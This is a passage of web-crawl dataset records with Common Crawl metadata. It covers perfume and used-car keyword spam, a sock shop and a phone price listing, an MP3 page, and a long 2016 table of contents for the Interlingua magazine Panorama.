nil kvepalai, hermes un jardin sur le nil t set, review n c hoa hermes un jardin sur le nil, un jardin sur le nil beaute test, un jardin sur le nil d herm s, un jardin sur le nil description, un jardin sur le nil edp, un jardin sur le nil hermes 100ml, un jardin sur le nil hermes uk, un jardin sur le nil luca turin, un jardin sur le nil myer, un jardin sur le nil nz, un jardin sur le nil olfatheque, un jardin sur le nil or toit, un jardin sur le nil parfum, un jardin sur le nil perfume, un jardin sur le nil perfumed shower gel, un jardin sur le nil traduccion, un jardin sur le nil von herm s","id":"","dump":"CC-MAIN-2018-34","url":"https:\/\/sinchronicitymagazine.com\/un-jardin-sur-le-nil\/","date":"2018-08-18T22:09:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221213794.40\/warc\/CC-MAIN-20180818213032-20180818233032-00290.warc.gz","language":"ina","language_score":0.3314965367,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.33149653673171997, \"fra_Latn_score\": 0.2675139605998993, \"heg_Latn_score\": 0.17037475109100342, \"tzh_Latn_score\": 0.06924254447221756, \"yua_Latn_score\": 0.040776800364255905, \"xon_Latn_score\": 0.01109524816274643}","num_words":235,"character_repetition_ratio":0.373,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.009,"flagged_words_ratio":0.0,"lang_id_score":0.282,"perplexity_score":2099.6,"cluster_detection":-1} +{"text":"Certified pre owned 2016 toyota corolla le plus s plus 4dr sedan 2016 toyota corolla photos pre owned 2016 toyota corolla le plus clic silver metallic toyota corolla le plus pre owned 2016 toyota corolla le plus 2016 toyota corolla le plus in harrisburg pa faulkner of.\n2016 Toyota Corolla S Plus 4dr Sedan Pictures\n2016 Toyota Corolla Le Plus Indianapolis In Area Dealer\nPre Owned 2016 Toyota Corolla Le Plus Four Door Sedan In St Louis\n2016 Toyota Corolla Le Plus Waite Park Mn 27198727\n2016 Toyota Corolla S Plus Review With Price Photos\nUsed 2016 Toyota Corolla Le Plus Vin 5yfburhe0gp480350\nPre Owned 2016 Toyota Corolla Le Plus 4d Sedan In Yuba City\nPre Owned 2016 Toyota Corolla Le Plus 4dr Car In Los Angeles Tu4255\n2016 Toyota Corolla Le Plus Petaluma Ca 28296329\nCertified Pre Owned 2016 Toyota Corolla Le Plus 4dr Car In Omaha\nPre Owned 2016 Toyota Corolla Le Plus 4d Sedan In Yuba City\nPre Owned 2017 Toyota Corolla Le Plus 4dr Car In Hollywood 23336\nUsed 2016 Toyota Corolla For In Skokie Il P01767\nPre Owned 2016 Toyota Corolla Le Plus 4dr Car In Hollywood 23320\nPre Owned 2016 Toyota Corolla Le Plus 4d Sedan In York T43857a\nPre Owned 2016 Toyota Corolla Le Plus 4dr Car In Nashville P14312a\nCertified Pre Owned 2016 Toyota Corolla Le Plus 4dr Sdn Cvt\nPre Owned 2016 Toyota Corolla Le Plus 4dr Car In Shreveport P9492\n2016 Toyota Corolla Le Plus Harrisburg Pa Area Dealer\nCertified Pre Owned 2016 Toyota Corolla Le Plus Sedan In Pharr\nPre Owned 2016 Toyota Corolla Le Plus 4dr Car In Hollywood 23514\nPre Owned 2016 Toyota Corolla Le Plus 4d Sedan In Palm Beach County\nUsed Toyota Corolla Le Plus For In Dover Nh\n2016 Clic Silver Metallic Toyota Corolla Le Plus 107128498\n2016 Toyota Corolla Le Plus In Hazelwood Mo St Louis\nPre owned 2016 toyota corolla le plus 4dr car in hollywood 23320 certified pre owned 2016 toyota corolla le plus 4dr car in omaha pre owned 2016 toyota corolla le plus 4d sedan in palm beach county used 2016 toyota corolla le plus vin 5yfburhe0gp480350 2016 toyota corolla le plus waite park mn 27198727 certified pre owned 2016 toyota corolla le plus 4dr sdn cvt.","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/osbikers.net\/2016-corolla-le-plus.html","date":"2019-03-22T08:07:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912202640.37\/warc\/CC-MAIN-20190322074800-20190322100800-00080.warc.gz","language":"ina","language_score":0.5069724917,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5069724917411804, \"dag_Latn_score\": 0.11797580868005753, \"eng_Latn_score\": 0.03349100425839424, \"sco_Latn_score\": 0.03138068690896034, \"bar_Latn_score\": 0.026220114901661873, \"fra_Latn_score\": 0.025224650278687477, \"lmo_Latn_score\": 0.025211356580257416, \"frp_Latn_score\": 0.018469590693712234, \"mlt_Latn_score\": 0.014792217873036861, \"swe_Latn_score\": 0.013672739267349243, \"slk_Latn_score\": 0.013004278764128685, \"slv_Latn_score\": 0.011346271261572838, \"spa_Latn_score\": 0.011077549308538437, \"szl_Latn_score\": 0.010974777862429619, \"ita_Latn_score\": 0.010541620664298534}","num_words":655,"character_repetition_ratio":0.291,"word_repetition_ratio":0.437,"special_characters_ratio":0.299,"stopwords_ratio":0.002,"flagged_words_ratio":0.0,"lang_id_score":0.489,"perplexity_score":16592.7,"cluster_detection":-1} +{"text":"Showing all 11 results\n-\nOut of stock\nLe Bon Shoppe Girlfriend Socks in Bellini£15.00\n-\nLe Bon Shoppe Girlfriend Socks in Egret£15.00\n-\nLe Bon Shoppe Girlfriend Socks in Oatmeal£15.00\n-\nOut of stock\nLe Bon Shoppe Girlfriend Socks in Parisian Blue£15.00\n-\nLe Bon Shoppe Girlfriend Socks in Pistachio£15.00\n-\nOut of stock\nLe Bon Shoppe Her Socks in Copper Black£12.00\n-\nLe Bon Shoppe Her Socks in Coral Glitter£12.00\n-\nLe Bon Shoppe Her Socks in Glittery Amber£12.00\n-\nLe Bon Shoppe Her Socks in Glittery Jute£12.00\n-\nLe Bon Shoppe Her Socks in Pearl£12.00\n-\nLe Bon Shoppe Her Socks in Sunset£12.00","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/twentypetworth.com\/brand\/le-bon-shoppe\/","date":"2021-01-16T08:42:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703505861.1\/warc\/CC-MAIN-20210116074510-20210116104510-00504.warc.gz","language":"ina","language_score":0.3949898779,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.39498987793922424, \"eng_Latn_score\": 0.171170175075531, \"ita_Latn_score\": 0.08073968440294266, \"lmo_Latn_score\": 0.07285088300704956, \"kiu_Latn_score\": 0.05747503787279129, \"lim_Latn_score\": 0.03714089095592499, \"ile_Latn_score\": 0.029757091775536537, \"pfl_Latn_score\": 0.024050038307905197, \"deu_Latn_score\": 0.020599063485860825, \"sme_Latn_score\": 0.013131307438015938}","num_words":148,"character_repetition_ratio":0.24,"word_repetition_ratio":0.108,"special_characters_ratio":0.309,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":0.786,"perplexity_score":5671.0,"cluster_detection":-1} +{"text":"Menu\nCategory:\nLava\nLava\nLava Blaze BD Price & Specifications\nLava\nLava X2 price in BD & review\nLava\nLava Z2s price in Bangladesh & Specifications\nLava\nLava Z2 Max price in Bangladesh and Review\nLava\nLava A82 price & Full Specs in Bangladesh\nLava\nLava A89 price in BD & review\nLava\nLava A79 price & Full Specs in Bangladesh\nLava\nLava A67 Price in Bangladesh & Specs\nLava\nLava A59 BD Price & Specifications\nLava\nLava V2 s price in Bangladesh and Review\nLava\nLava V2 3GB price in BD & Full Specification\nLava\nLava A76 Price in Bangladesh & Specs\nPrevious","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/phones.com.bd\/lava\/","date":"2023-02-07T21:13:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500641.25\/warc\/CC-MAIN-20230207201702-20230207231702-00616.warc.gz","language":"ina","language_score":0.3495678306,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"ina_Latn_score\": 0.34956783056259155, \"eng_Latn_score\": 0.10048247873783112, \"vec_Latn_score\": 0.0948401466012001, \"por_Latn_score\": 0.07121212035417557, \"ita_Latn_score\": 0.06423369795084, \"srd_Latn_score\": 0.043578293174505234, \"wol_Latn_score\": 0.042119480669498444, \"lmo_Latn_score\": 0.03660593181848526, \"slv_Latn_score\": 0.025641558691859245, \"roh_Latn_score\": 0.019999006763100624, \"lim_Latn_score\": 0.01761576719582081, \"tso_Latn_score\": 0.014304058626294136, \"tsc_Latn_score\": 0.010808098129928112}","num_words":154,"character_repetition_ratio":0.204,"word_repetition_ratio":0.248,"special_characters_ratio":0.239,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.234,"perplexity_score":8420.9,"cluster_detection":-1} +{"text":"Descargar Musica de Gaiser Face Down Online\nDescargar musica de gaiser face down online gratis.\n¿ Te gusta gaiser face down ?\nResultados :\nEscuchar musica de gaiser face down\nGaiserFace Down (Original Mix)06:21\nGaiserFace Down (Original Mix)06:20\nGaiserFace Down06:20\nGaiserFace Down (Original Mix)42:10\nGaiserFace Down05:32\nGaiserFace Down (Original Mix)05:45\nGaiserFace Down04:21\nGaiserFace Down04:09\nGaiserFace Down06:20\nComentarios de Taringa MP3","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/mp3taringa.net\/mp3\/gaiser-face-down","date":"2016-10-28T10:21:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988721606.94\/warc\/CC-MAIN-20161020183841-00315-ip-10-171-6-4.ec2.internal.warc.gz","language":"ina","language_score":0.4482860863,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.4482860863208771, \"vec_Latn_score\": 0.07093995809555054, \"ron_Latn_score\": 0.04171420633792877, \"spa_Latn_score\": 0.04028550162911415, \"eng_Latn_score\": 0.03884198144078255, \"fra_Latn_score\": 0.03019256703555584, \"por_Latn_score\": 0.02347242273390293, \"glg_Latn_score\": 0.02280249260365963, \"wes_Latn_score\": 0.019856983795762062, \"cos_Latn_score\": 0.01547304354608059, \"cuk_Latn_score\": 0.015225756913423538, \"cbk_Latn_score\": 0.015193258412182331, \"hil_Latn_score\": 0.012713075615465641, \"srd_Latn_score\": 0.011814266443252563}","num_words":110,"character_repetition_ratio":0.229,"word_repetition_ratio":0.446,"special_characters_ratio":0.26,"stopwords_ratio":0.009,"flagged_words_ratio":0.0,"lang_id_score":0.193,"perplexity_score":19583.6,"cluster_detection":-1} +{"text":"- Pagina principal\n- UMI e interlingua\n- Interlingua pro juniores\n- Libros e litteratura\n- Panorama\n- Servicio de Libros UMI\n- Litteratura in interlingua\n- Dictionarios e cursos\n- interlingua\n- anglese\n- catalano\n- chinese\n- danese\n- espaniol\n- francese\n- germano\n- italiano\n- lituano\n- norvegiano\n- portugese\n- turco\n- Facile a leger in interlingua\n- Grammatica de interlingua\n- Inseniamento\n- Bibliotheca electronic\n- Almanac de interlingua\n- Angulo linguistic\n- Practica interlingua!\n- Films\n- Radio Interlingua\n- Ligamines\n- Mappa del sito\nPanorama in interlingua - indice 2016\n2016-02-28 18:52 Historia\nIste indice monstra le contento del magazin Panorama in interlingua (ISSN 0903-2932) edition post edition.\n\n\nNo. 1\/2016, januario-februario\n|1||Le mundo da un mano al climate||Accordo historic attingite in Paris pro salvar le climate.||Copertura|\n|1||Fundo reduce precio al incontro nordic||Fundation supporta le incontro de interlingua in Danmark le 27-31 de julio pro le prime 30 personas.||Copertura|\n|1||Albania – un pais miscognoscite||Copertura|\n|1||Interlingua es pro omnes||Un littera del presidente.||Copertura|\n|1||Wikipedia imprimite||Copertura|\n|1||Chance inexpectate a elephantes||China stoppa commercio.||Copertura|\n|1||Novas de interlingua||Copertura|\n|1||Interlingua quotidian||Apprende per le photos.||Copertura|\n|1||Le molino infestate||Copertura|\n|2+3||Un mano al climate in Paris||Le crescimento del temperatura global debe esser limitate, decideva 185 paises justo ante Natal in un accordo historic – ma non sin problemas.||Breinstrup, Thomas||Nova|\n|2||Le protocollo de Paris||Th.||Nova|\n|3||2015 deveniva le anno le plus calide||0,90 grados plus alte que in le 20esime seculo e plus que in 2014||Breinstrup, Thomas||Nova|\n|4||Assistentia requirite: Face interlingua visibile||Breinstrup, Thomas||Editorial|\n|5||Cinque dies estive con interlingua||Fundation generose assecura reduction del precio de participar in le incontro nordic de interlingua in julio 2016 – ma inscribe te tosto.||Breinstrup, Thomas||Novas de interlingua|\n|6||Disputa macedone continua||Nota|\n|6||Expansion de canal preste in junio||Nota|\n|6||Corte declara lege illegal||Nota|\n|6||Silentio, io ha siesta in le citate!||Calor insustenibile face le pausa del mediedie official in citate espaniol.||Breinstrup, Thomas||Nova|\n|7||Grande tresor grec non retorna al patria||Le governamento de Grecia ha decidite non continuar con caso juridic pro haber retornate le partes de Acropole de Grande Britannia.||Breinstrup, Thomas||Nova|\n|8||Cambio chinese da spero pro elephantes||Commercio de ebore va stoppar.||Breinstrup, Thomas||Nova|\n|8||Chassa de homines post morte de pilota||Th.||Nota|\n|9||Tonnas de ebore confiscate in action||Th.||Nova|\n|9||Conto de Potter trovate||Th.||Nota|\n|9||Grande demanda de \"Mi lucta\"||Th.||Nota|\n|10||Le capital le plus periculose||Th.||Nota|\n|10||Derecto de autor expira||Th.||Nota|\n|10||Linguas estranier dispare in Galles||50 pro cento minus recipe un examine in francese o germano.||Th.||Nova|\n|11||Interlingua pro omnes||Littera del presidente del UMI||Mahé-Potet, Alix||Interlingua|\n|12||Curso de interlingua in Göteborg||Novas de interlingua|\n|12||Tourismo in interlingua||Novas de interlingua|\n|12||Magazin nordic tosto a no. 200||Novas de interlingua|\n|13||Nove vocabularios special||Novas de interlingua|\n|13||Minidictionario espaniol in via||Novas de interlingua|\n|13||Plus grande corrector orthographic||Novas de interlingua|\n|13||Isto es toto!||Novas de interlingua|\n|13||Café Interlingua invita omnes||Novas de interlingua|\n|14||Plus de software in interlingua||Novas de interlingua|\n|14||Anniversario x 2 a Die de Interlingua||Novas de interlingua|\n|14||Adeo a bon amica||Necrologia de Ing-Britt Persson||I.S.\/Th.||Necrologia|\n|15||Labyrintho||Passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|16||Qui es que – ma que es qui?||Breinstrup, Thomas||Le parolas del mense|\n|16||Deces e milles e milliones…||Breinstrup, Thomas||Le parolas del mense|\n|16||Conversation actual: immigrante, conferentia||Breinstrup, Thomas||Le parolas del mense|\n|17||Interlingua quotidian: Preparar the es un arte||Breinstrup, Thomas||Le parolas del mense|\n|17||Le bon position del adjectivo||Breinstrup, Thomas||Le parolas del mense|\n|18+19||Albania, un pais miscognoscite||Pontnau, Robert||Viages|\n|20||Le polyglotto involuntari e altere contos||Marcus Scriptor||Th.||Libros|\n|20||Musik & hemslöjd||Sven Berger||Th.||Libros|\n|20||Minidictionario interlingua-lituan||Vladas Kazlauskas||Th.||Libros|\n|21||Bon die al parolas||Th.||Libros|\n|21||Nove publicationes in interlingua||Libros|\n|21||\"Le parve prince\" a expectar||Th.||Libros|\n|22+23||Le molino infestate o le casa in ruina||Traduction in interlingua: Onofrio Notarstefano||Jerome, Jerome Klapka||Litteratura|\n|24||Nove colosso de Rhodos||Th.||Le mundo actual|\n|24||Supercaffe pro le futuro||Th.||Le mundo actual|\n|24||Signatura original de Shakespeare||Th.||Le mundo actual|\n|24||Archeologia es retornate||Th.||Le mundo actual|\n|25||Scientistas divide le pizza||Th.||Le mundo actual|\n|25||Papiliones debe salvar foreste||Th.||Le mundo actual|\n|25||Bira pur celebra 500 annos||Th.||Le mundo actual|\n|26||Wikipedia imprimite||Platter, Kenneth||Chronica|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Gisella Koutsiou||Novas de nomines|\n|28||Mats Fredmark||Novas de nomines|\n|28||Que es interlingua? Como contribuer||Interlingua|\n\n\nNo. 2\/2016, martio-april\n|1||Interlingua es perfecte in lectiones de linguas||Interlingua ha un valor cultural e es un clave a comprender altere linguas.||Copertura|\n|1||Classico finalmente appare in interlingua||Le charmante conto per Antoine de Saint-Exupéry super le parve prince pote finalmente esser legite in interlingua.||Copertura|\n|1||Senior Interlingua ha morite||Bent Andersen esseva un fortia major del UMI.||Copertura|\n|1||Supertraino volante in Europa in 2020||Vienna-Budapest: 20 min.||Copertura|\n|1||Jubileo de incendio||Copertura|\n|1||Plus que 20.000 elephantes occidite||Nove record triste in 2015.||Copertura|\n|1||Nocte al discotheca||Copertura|\n|1||Guerra de litteras||Francia discute clavieros e circumflexos.||Copertura|\n|1||Multe nove libros||Copertura|\n|2+3||Interlingua ha perdite un grande rocca||Bent Andersen, un del major fortias detra interlingua, moriva in martio.||Breinstrup, Thomas||Necrologia|\n|4||Grandissime gratias a un homine extraordinari||Breinstrup, Thomas||Editorial|\n|5||\"Supertraino\" in Europa Central preste in 2020||Le distantia inter Vienna via Bratislava a Budapest in le futuro essera percurrite in 20 minutas contra hodie plus que quatro horas.||Breinstrup, Thomas||Nova|\n|6||Plus que 20.000 elephantes occidite||Le plus grande numero jammais de animales in periculo dispareva.||Breinstrup, Thomas||Nova|\n|7||2,6 tonnas de ebore destruite per foco||Th.||Nova|\n|7||Plus de tigres in le mundo||Le numero de tigres cresce de novo.||Th.||Nova|\n|7||Nove bandiera proponite||Th.||Nota|\n|7||Limite pro touristas||Th.||Nota|\n|8||35 annos pro contrabandar ebore||Th.||Nota|\n|8||Museo de Chaplin aperi||Th.||Nota|\n|8||Villa roman trovate in jardin||Th.||Nota|\n|8||Le population del mundo invetera||17 pro cento del population habera plus que 65 annos in 2050.||Breinstrup, Thomas||Nova|\n|9||100 annos pro incendio violente||Le parlamento canadian esseva destruite in 1916, quando un forte incendio, forsan intendite, erumpeva.||Sorfleet, Richard W.||Nova|\n|10||Clavieros francese, unifica vos!||Il es quasi impossibile scriber francese ben in un claviero francese, dice le ministro pro cultura, qui demanda clavieros ubi le litteras es placiate assi que illos pote esser trovate – e usate.||Th.||Nova|\n|11||Guerra de circumflexo colpa Francia||Reforma orthographic es disappreciate per le litteratos francese.||Breinstrup, Thomas||Nova|\n|11||Fin de centuriones roman||Th.||Nota|\n|11||Museo virtual pro linguas||Th.||Nota|\n|11||Austria compra casa de Hitler||Th.||Nota|\n|12+13||Interlingua enon es primarimente un lingua auxiliar||Le vocabulario de interlingua ha un valor cultural e es un clave a comprender altere linguas.||Mulaik, Stan||Novas de interlingua|\n|14||Interlingua in lyceo american||Novas de interlingua|\n|14||Magazines pro ingenieros in linea||Novas de interlingua|\n|14||Software sempre in interlingua||Novas de interlingua|\n|14||Lector de probas cercate||Novas de interlingua|\n|15||Plus super que e qui||Breinstrup, Thomas||Le parolas del mense|\n|15||Conversation actual: tremor de terra, quixotic||Breinstrup, Thomas||Le parolas del mense|\n|16||Nave de Vasco da Gama discoperite||Esmeralda es identificate post 18 annos.||Breinstrup, Thomas||Scientia|\n|16||Scientistas europee discute Europa||Th.||Nota|\n|17||Nefertiti pote esser in camera secrete||Le mundo attende le responsas.||Breinstrup, Thomas||Scientia|\n|17||Tortucas marin retorna al mares||Varie effortios augmenta le numero de tortucas marin, ma illos es ancora in periculo.||Th.||Scientia|\n|18||Labyrintho||Passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|19||Le parve prince||Antoine de Saint-Exupéry||Th.||Libros|\n|19||Interlingua – diccionario básico de 2.500 palabras||Ricard Wilshusen||Th.||Libros|\n|20||Concise English-Interlingua Dictionary||F.P. Gopsill e B.C. Sexton||Th.||Libros|\n|21||Bon vendita de libros||Th.||Libros|\n|21||Assi tu compra le libros||Libros|\n|21||Nove publicationes in interlingua||Libros|\n|22||Un canto al Corde||Krause, Catherine B.||Litteratura|\n|22||Le café litterari – quiz||Litteratura|\n|22||Un guitarrista sona||Sater, Amin e Teixeira, Renato||Litteratura|\n|23||Perlas spiritual ab le humor universal||Macovei, Toma||Litteratura|\n|23||Proverbios de libros||Litteratura|\n|24||Manuscripto de Holmes vendite||Th.||Le mundo actual|\n|24||Stop a sinos nude e Mickey Mus||Th.||Le mundo actual|\n|24||Lingua ancian pro le infantes||Th.||Le mundo actual|\n|24||Panda gigantesc nascite||Th.||Le mundo actual|\n|25||Hotel iconic demolite||Th.||Le mundo actual|\n|25||Obra maestro trovate in mansarda||Th.||Le mundo actual|\n|25||Papiros Panama revela arte furate||Th.||Le mundo actual|\n|25||Vendita digital aura le musica||Th.||Le mundo actual|\n|26||Un nocte al discotheca||Platter, Kenneth||Chronica|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Lars Rosenmeier||Novas de nomines|\n|28||Gunaino Enqvist||Novas de nomines|\n|28||Gunnar Ljusterdal||Novas de nomines|\n|28||Que es interlingua? Como contribuer||Interlingua|\n\n\nNo. 3\/2016, maio-junio\n|1||Uso de anglese pote cambiar||Exito britannic del UE pote haber influentia al position de anglese.||Copertura|\n|1||Duo maestros ha 400 annos||Le patres de Hamlet e Don Quixote moriva – forsan – le mesme die, ma illes es celebrate multo differentemente.||Copertura|\n|1||Paris? No, Las Vegas||Un visita a un urbe extraordinari.||Copertura|\n|1||Dialectos e idiomas dispare – e remane||Reflexiones del differentias.||Copertura|\n|1||Nove moneta svedese||Copertura|\n|1||Via rapide inter oceanos ha crescite||Canal de Panama reaperi.||Copertura|\n|1||Giraffas revelate||Copertura|\n|1||Preste pro incontro||Cinque dies con interlingua in Danmark in julio.||Copertura|\n|1||Cordes perdite||Copertura|\n|2+3||Shakespeare e Cervantes celebrate in tote le mundo||Le duo gigantes del litteratura mundial forsan moriva a exactemente le mesme die ante 400 annos – ma illes non se cognosceva.||Breinstrup, Thomas||Nova|\n|3||Don Quijote||Nota|\n|3||William Shakespeare||Nota|\n|3||Miguel de Cervantes||Nota|\n|4||Inspiration positive crea energia – e resultatos||Breinstrup, Thomas||Editorial|\n|5||Uso de anglese in le UE pote cambiar||Le exito de Grande Britannia pote haber influentia al position de anglese in Europa.||Breinstrup, Thomas||Nova|\n|6+7||Dialectos e idiomas disparente – in certe regiones||Le differentias linguistic in Francia es minor, solmente in le sud vive le dialectos. Ma al altere latere del frontiera, in Germania, le dialectos e linguas regional floresce. Ha il un bon explication?||Martignon, Jean||Nova|\n|8||Muros pro proteger Zanzibar crea furor||Protection del costas contra le undas menacia communitates de pisca.||Breinstrup, Thomas||Nova|\n|8||35 annos pro contrabandar ebore||Th.||Nota|\n|9||Kenya revide su taxas de the||Le industria e cultivatores local non gania assatis pro le the nigre.||Th.||Nova|\n|9||Record de calor in april||Th.||Nota|\n|9||Urbe compra textos de Grimm||Th.||Nota|\n|9||Nove opera grec inaugurate||Th.||Nota|\n|10||Le via rapide inter oceanos ha crescite||Le extendite Canal de Panama aperiva in junio, duo annos in retardo.||Breinstrup, Thomas||Nova|\n|11||E-libros es como libros in bibliothecas||Omnes debe poter prestar e-libros.||Breinstrup, Thomas||Nova|\n|11||Nomine a quatro elementos||Th.||Nota|\n|11||Historico deveni presidente||Th.||Nota|\n|12+13||Benvenite a troppo de extravagantia!||Las Vegas es un urbe que es \"troppo\". Ma in un maniera estranie on lo apprecia totevia.||Breinstrup, Thomas||Viages|\n|14||Grande annuncio pro interlingua||Th.||Novas de interlingua|\n|14||Nove numero de conto del UMI||Th.||Novas de interlingua|\n|14||Memora tu Panorama digital||Th.||Novas de interlingua|\n|14||200 editiones de Actualitates||Th.||Novas de interlingua|\n|15||Cinque dies active con interlingua||Grande programma preste pro le 15te incontro nordic in julio.||Th.||Novas de interlingua|\n|16||Post\/ante\/desde ... que?||Breinstrup, Thomas||Le parolas del mense|\n|16||Decider (de) o non decider (de)||Breinstrup, Thomas||Le parolas del mense|\n|16||Error de allusion||Breinstrup, Thomas||Le parolas del mense|\n|16||Un question de grandores||Breinstrup, Thomas||Le parolas del mense|\n|16||Conversation actual: referendum, nordic||Breinstrup, Thomas||Le parolas del mense|\n|17||Dinosauros dispareva ja ante asteroide||Cambios climatic ante milliones de annos sembla haber causate le fin de certe species de dinosauros ante le collision inter le Terra e un asteroide enorme.||Breinstrup, Thomas||Scientia|\n|18||Genes revela le secreto del giraffa||Le mysterios del longe collo ha essite solvite – partialmente.||Breinstrup, Thomas||Scientia|\n|18||Le computator le plus ancian||Th.||Scientia|\n|19||Labyrintho||Passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|20||Libros pro le estate||Annuncio|\n|21||Sex breve contos||Franz Kafka||Th.||Libros|\n|21||Curso anglese se approxima||Th.||Libros|\n|21||Cantario in interlingua tosto preste||Th.||Libros|\n|21||Nove publicationes in interlingua||Libros|\n|22+23||Cordes perdite||Traduction in interlingua: Onofrio Notarstefano||Rhodes James, Montague||Litteratura|\n|24||Moriva in le etate de 116 annos||Th.||Le mundo actual|\n|24||TV filmava sex de copula||Th.||Le mundo actual|\n|24||Valores national debe remaner||Th.||Le mundo actual|\n|24||Stonehenge german deveni public||Th.||Le mundo actual|\n|25||Castello appella pro adjuta||Th.||Le mundo actual|\n|25||\"Inferno\" deveni un film||Th.||Le mundo actual|\n|25||Summa record pro diamante blau||Th.||Le mundo actual|\n|25||Jaguar fusilate post photo olympic||Th.||Le mundo actual|\n|26||Nove pecunia in Svedia||Platter, Kenneth||Chronica|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Louise Delnoy-Sijstermans||Novas de nomines|\n|28||British Interlingua Society||Novas de nomines|\n|28||Péter Kovács||Novas de nomines|\n\n\nNo. 4\/2016, julio-augusto\n|1||\"Toto es possibile!\"||Grande reportage del 15nte incontro nordic de interlingua.||Copertura|\n|1||Novas, notas, nomines, photos, reportage – quasi toto super le 15nte incontro nordic de interlingua in Danmark in julio. Panorama reporta super le cinque dies de activitates.||Copertura|\n|1||Bengt Enqvist morite||Copertura|\n|1||Harry Potter de novo||Pecia theatral vende tanto ben como le septe libros.||Copertura|\n|1||Cantos pro omnes||Copertura|\n|2+3+5||Toto es possibile, si on collabora||Le 15te incontro nordic de interlingua in Danmark in julio liberava le creativitate. Nove initiativas e activitates debe ora assecurar que interlingua deveni plus visibile e cognoscite in tote le mundo.||Breinstrup, Thomas||Novas de interlingua|\n|4||Dies memorabile in compania inspirante||Breinstrup, Thomas||Editorial|\n|6+7||Cinque punctos de action pro successo||Interlingua debe esser plus cognoscite e plus usate. Ecce le recepta ab un experto.||Breinstrup, Thomas||Novas de interlingua|\n|7||Presentationes: Ecce le joieles celate||Nota|\n|7||Presentationes: Assi Facebook es usate le melio||Nota|\n|7||Presentationes: Benvenite a Danmark, un miniportrait||Nota|\n|7||Presentationes: Elleore e \"Le chassa a leones\"||Nota|\n|7||Presentationes: Recitation de Marcus Scriptor||Nota|\n|8||Nove cantos original in interlingua||Novas de interlingua|\n|8||Audi le viages con interlingua||Novas de interlingua|\n|9||Hallo, hallo in duo nove linguas||Novas de interlingua|\n|9||Radio Interlingua con rap e espaniol||Novas de interlingua|\n|10+11||Photos del 15nte incontro nordic de interlingua||Novas de interlingua|\n|12+13||Le megaphono de Bengt ha tacite||Le diligentissime vicepresidente del Societate Svedese pro Interlingua, Bengt Enqvist, ha morite.||Breinstrup, Thomas||Necrologia|\n|13||Nove materiales gratuite pro cursos||Nota|\n|14||Interlingua a exposition in Praga||Novas de interlingua|\n|14||Longe lista de ligamines||Novas de interlingua|\n|14||Le historia de interlingua cresce||Novas de interlingua|\n|15||Information a europarlamentarios||Novas de interlingua|\n|15||Plus de cartas nordic||Novas de interlingua|\n|15||Vesperes de interlingua 25 annos||Novas de interlingua|\n|15||Café Interlingua in septembre||Novas de interlingua|\n|15||10 annos official con UMI||Novas de interlingua|\n|16||Harry Potter exerce de novo su magia||Le manuscripto del nove pecia theatral vende equalmente ben como le septe romanes.||Breinstrup, Thomas||Nova|\n|17||Le spero cresce que malaria disparera||Nove donationes debe avantias le developpamento de insecticidas e vaccinos contra le maladia maligne.||Th.||Nova|\n|17||Nove hereditage mundial||Th.||Nota|\n|17||Hieroglyphicos revelate||Th.||Nota|\n|18||Cantario in interlingua||Harmsen, Ruud||Libros|\n|18+19||Dictionario inverse de interlingua||Platter, Kenneth||Libros|\n|19||Famose manual in lingua no. 17||Th.||Libros|\n|19||Nove publicationes in interlingua||Libros|\n|19||Assi tu compra le libros||Libros|\n|20||Expressiones mathematic||Breinstrup, Thomas||Le parolas del mense|\n|21||Labyrintho||Passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|22+23||Cordes perdite||Parte 2, traduction: Onofrio Notarstefano||Rhodes James, Montague||Litteratura|\n|24||Illas ha le pectores le plus grande||Th.||Le mundo actual|\n|24||Donation special a centenario||Th.||Le mundo actual|\n|24||Le moneta dispare in massa||Th.||Le mundo actual|\n|24||Nove ponte supra Bosphoro||Th.||Le mundo actual|\n|25||Theatro legendari es restaurate||Th.||Le mundo actual|\n|25||Plus de TV e minus de sex||Th.||Le mundo actual|\n|25||Le plus juvene a circular le mundo||Th.||Le mundo actual|\n|25||Julio le plus calide jammais||Th.||Le mundo actual|\n|25||Traino nazi con auro disparite||Th.||Le mundo actual|\n|26||Leger inversemente||Platter, Kenneth||Chronica|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Dan Sterup||Novas de nomines|\n|28||Le personal||Novas de nomines|\n|28||Bohdan Šmilauer||Novas de nomines|\n|28||Ingvar Stenström||Novas de nomines|\n|28||Kenneth Platter||Novas de nomines|\n\n\nNo. 5\/2016, septembre-octobre\n|1||Nove chef del mundo||Le nove secretario general del Nationes Unite essera ab januario portugese – con experientias.||Copertura|\n|1||Elephantes marcha verso extinction||Durante dece annos le numero de elephantes african ha cadite con 20 pro cento.||Copertura|\n|1||Parve lingua suisse in grande lucta||Cinque dialectos se uni pro fortificar se como lingua no. 4.||Copertura|\n|1||Vienna vale un visita||Panorama guida in le capital 